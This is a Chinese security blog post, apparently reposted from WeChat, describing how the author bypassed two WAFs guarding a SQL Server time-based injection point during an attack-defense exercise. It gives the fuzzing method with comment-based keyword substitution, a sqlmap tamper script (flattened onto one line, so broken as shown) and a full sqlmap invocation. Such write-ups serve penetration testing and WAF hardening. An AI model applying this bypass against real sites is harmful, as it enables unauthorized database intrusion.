一、古董Payload的惊艳亮相
前段时间,深情哥在攻防演练中遇到一个注入点,听说有十几个人轮番尝试了两个多小时,都没能绕过那个WAF。于是找到了我,当场掏出了21年的老古董payload以及sqlmap绕过脚本,结果一下就无感应绕过该waf。
很多人看到那条绕过的payload可能一头雾水,觉得这不像是正常人能想到的东西。其实并没有那么神秘,那条payload并不是靠纯手工“想”出来的,而是通过关键字爆破一步步测试出来的。不同WAF的拦截策略和强度不一样,所以每次的绕过方法也都要跟着变化,关键还是在于灵活应对。
二、逻辑缝隙中的突破之道
这次的目标站点漏洞早已修复,下面只是做个复现测试,记录一下当时的分析思路。
目标站当时的防护情况比较特殊,就是说两个 WAF 同时存在,拦截策略更复杂。下面这两张截图大致还原了当时的测试环境。
我们第一步要做的,就是确认是哪一部分语句被拦了。于是采用逐步删减的方式,从最初的注入语句中一点点剔除关键字,观察响应包返回的信息。
测试中我们发现,WAF 拦截的关键点在于 1';waitfor+delay+ 这个组合。确定拦截位置之后,就可以针对性地绕了。
这类情况下,简单的替换是个常规思路,比如我们把 + 替换成 /*ab*/,然后配合 Burp 的爆破模块进行模糊测试。
接着,我们引入关键字字典,把 a 和 b 替换为字典中的字符进行测试,慢慢试出 WAF 能接受的写法。
最终得出一条有效的绕过 payload,成功避开 WAF 的拦截。
为了更稳定地复现,编写对应的 SQLMap Tamper 脚本。
from lib.core.enums import PRIORITY__priority__ = PRIORITY.LOWdef tamper(payload, **kwargs): payload=payload.replace(' ','/*%0A%2a%2f*/') payload=payload.replace('(','/*%0A%2a%2f*/(')return payload
调用方式如下。
sqlmap -r .sql.txt --proxy http://127.0.0.1:8080 --risk 3 –-skip-urlencode --tamper "ttt" --dbms="Microsoft SQL Server" --skip-waf --skip-heuristics
三、题外话
最近是真的有点忙,漏洞审了一波又一波,打的几场攻防演练也都是拿第二,包括某某银行那场,依旧是“万年老二”。虽然有点遗憾,但每一场也都挺过瘾的。
上周大病了一场,半夜反复高烧不退,跑去急诊。本来以为是被传染了,结果验血一看啥都没有,医生说可能是身体太累、精神也绷太久了,自己也觉得确实是。
原文始发于微信公众号(白日梦安全):重生之我在教育园暴打小朋友
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论